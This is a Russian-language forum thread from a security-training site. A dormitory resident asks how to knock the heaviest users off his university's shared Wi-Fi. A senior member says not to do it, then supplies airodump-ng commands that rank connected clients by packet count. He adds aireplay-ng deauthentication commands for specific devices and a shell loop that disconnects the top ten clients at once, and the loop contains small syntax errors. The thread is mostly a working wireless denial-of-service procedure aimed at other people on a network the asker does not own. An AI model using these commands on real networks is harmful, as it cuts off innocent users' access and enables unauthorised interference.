• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Отключение Wi-Fi

mr_szag1

New member
19.11.2019
1
0
BIT
0
Такой вопрос ребята. Живу в общаге. Университетским wi-fi пользуется 100+ человек. В выходные вообще ничего почти посмотреть нельзя. Знаю как всем оффнуть инет
Код:
aireplay-ng --deauth 0 -a <bssid> wlan0mon
Знаю как отдельному компу. Но как найти именно те компы ноуты телефоны, которые больше всего трафика в данную секунду кушают? Есть какие-то программы, команды? Заранее спасибо.
 

f22

Codeby Academy
Gold Team
05.05.2019
1 841
225
BIT
1 047
Но как найти именно те компы ноуты телефоны, которые больше всего трафика в данную секунду кушают? Есть какие-то программы, команды?
Найти несложно. Но, убедительно прошу тебя этого не делать! Серьёзно! Не делай так.

airodump-ng
У тебя будут отображаться MAC адреса (12 символов через двоеточие ) сетей в радиусе действия твоего адаптера.
Находишь MAC адрес своей сети, пусть это будет AA:BB:CC:DD:EE:FF
В шестом столбце, который показывает канал, запоминаешь номер, пусть это будет 6.
Далее запускаешь
airodump-ng -a -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0
Ключ -а показывает только подключенных клиентов.
Сканирование не останавливаешь, а нажимаешь несколько раз английскую букву а,
чтобы справа была надпись display sta only
putty_2019-11-27_18-37-26.png

Тебя интересует только второй и шестой столбцы.
Во втором столбце MAC адреса устройств, которые подключены к ТД,
а сортируются они по количеству пакетов, это и есть столбец 6.
putty_n3BxMkqtIo.png

Копируешь эти адреса и потом для каждого запускаешь
aireplay-ng -0 1000 -a ${bssid_mac} -c ${device_mac} wlanX &
Ключ -с позволяет отключать конкретного клиента от сети,
если его не указывать, то aireplay-ng пытается отключить всю сеть,
зачастую это не очень эффективно.

Второй вариант более автоматизированный
добавляешь к команде сканирования ключ -w ${здесь путь к файлу}
airodump-ng -a -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0 -w /tmp/scan_result

После этого в файле /tmp/scan_result-01.csv у тебя будет накапливаться информация о сети и клиентах.

Такой командой можешь запускать атаку для первых 10 клиентов.
for dev in `cat /tmp/scan_result-01.csv | tail -n +6 | head -n -1 | head -10 | tr -d " " | cut -d "," -f 1`; do aireplay -0 1000 -a ${bssid_mac} -c ${dev} wlanX &"; done
Замени head -10 на нужное количество отключаемых клиентов, например, head -20 для 20.
Замени ${bssid_mac} на нужный mac адрес, а wlanX на свой интерфейс.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!